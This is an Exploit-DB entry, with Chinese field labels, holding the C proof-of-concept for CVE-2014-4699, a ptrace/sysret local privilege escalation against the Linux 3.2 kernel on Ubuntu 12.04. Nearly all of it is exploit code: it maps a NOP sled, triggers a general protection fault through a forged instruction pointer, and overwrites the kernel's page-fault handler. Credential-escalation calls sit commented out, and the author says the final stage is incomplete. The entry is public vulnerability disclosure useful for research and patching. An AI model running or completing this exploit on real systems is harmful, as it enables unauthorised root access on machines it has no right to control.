标题: Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation EDB-ID: 34134 CVE: 2014-4699 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2014-07-21 漏洞利用脚本: /**
 * CVE-2014-4699 ptrace/sysret PoC
 * by Vitaly Nikolenko
 * vnik@hashcrack.org
 *
 * > gcc -O2 poc_v0.c
 *
 * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
 * following will trigger the #GP in sysret and overwrite the #PF handler so we
 * can land to our NOP sled mapped at 0x80000000.
 * However, once landed, the IDT will be trashed. We can either attempt to
 * restore it (then escalate privileges and execute our shellcode) or find
 * something else to overwrite that would transfer exec flow to our controlled
 * user-space address. Since 3.10.something, IDT is read-only anyway. If you
 * have any ideas, let me know.
 */
 
#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>

#define SIZE  0x10000000

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

unsigned long __user_cs;
unsigned long __user_ss;
unsigned long __user_rflags;

void __attribute__((regparm(3))) payload() {
 uint32_t *fixptr = (void*)0xffffffff81dd70e8;
 // restore the #PF handler
 *fixptr = -1;
 //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
 //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
 //commit_creds(prepare_kernel_cred((uint64_t)NULL));

 //__asm__ volatile ("swapgs\n\t"
 //    "...");
}

int main() {
 struct user_regs_struct regs;
 uint8_t *trampoline, *tmp;
 int status;

 struct {
  uint16_t limit;
  uint64_t addr;
 } __attribute__((packed)) idt;

        // MAP_POPULATE so we don't trigger extra #PF
 trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
 assert(trampoline == 0x80000000);
 memset(trampoline, 0x90, SIZE); 
        tmp = trampoline;
        tmp += SIZE-1024;
        memcpy(tmp, &payload, 1024);
 memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

 pid_t chld;

        if ((chld = fork()) < 0) {
  perror("fork");
  exit(1);
 }
 
 if (chld == 0) { 
  if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
   perror("PTRACE_TRACEME");
   exit(1);
  }
  raise(SIGSTOP);
  fork();
  return 0;
 }

 asm volatile("sidt %0" : "=m" (idt));
 printf("IDT addr = 0x%lx\n", idt.addr);

 waitpid(chld, &status, 0);

 ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); 

 ptrace(PTRACE_CONT, chld, 0, 0);

 waitpid(chld, &status, 0); 

        ptrace(PTRACE_GETREGS, chld, NULL, &regs);
 regs.rdi = 0x0000000000000000;
 regs.rip = 0x8fffffffffffffff;
 regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;

 // attempt to restore the IDT
 regs.rdi = 0x0000000000000000;
 regs.rsi = 0x81658e000010cbd0;
 regs.rdx = 0x00000000ffffffff;
 regs.rcx = 0x81658e000010cba0;
 regs.rax = 0x00000000ffffffff;
 regs.r8  = 0x81658e010010cb00;
 regs.r9  = 0x00000000ffffffff;
 regs.r10 = 0x81668e0000106b10;
 regs.r11 = 0x00000000ffffffff;
 regs.rbx = 0x81668e0000106ac0;
 regs.rbp = 0x00000000ffffffff;
 regs.r12 = 0x81668e0000106ac0;
 regs.r13 = 0x00000000ffffffff;
 regs.r14 = 0x81668e0200106a90;
 regs.r15 = 0x00000000ffffffff;

        ptrace(PTRACE_SETREGS, chld, NULL, &regs);

 ptrace(PTRACE_CONT, chld, 0, 0);

 ptrace(PTRACE_DETACH, chld, 0, 0);
} URL: https://www.exploit-db.com/exploits/34134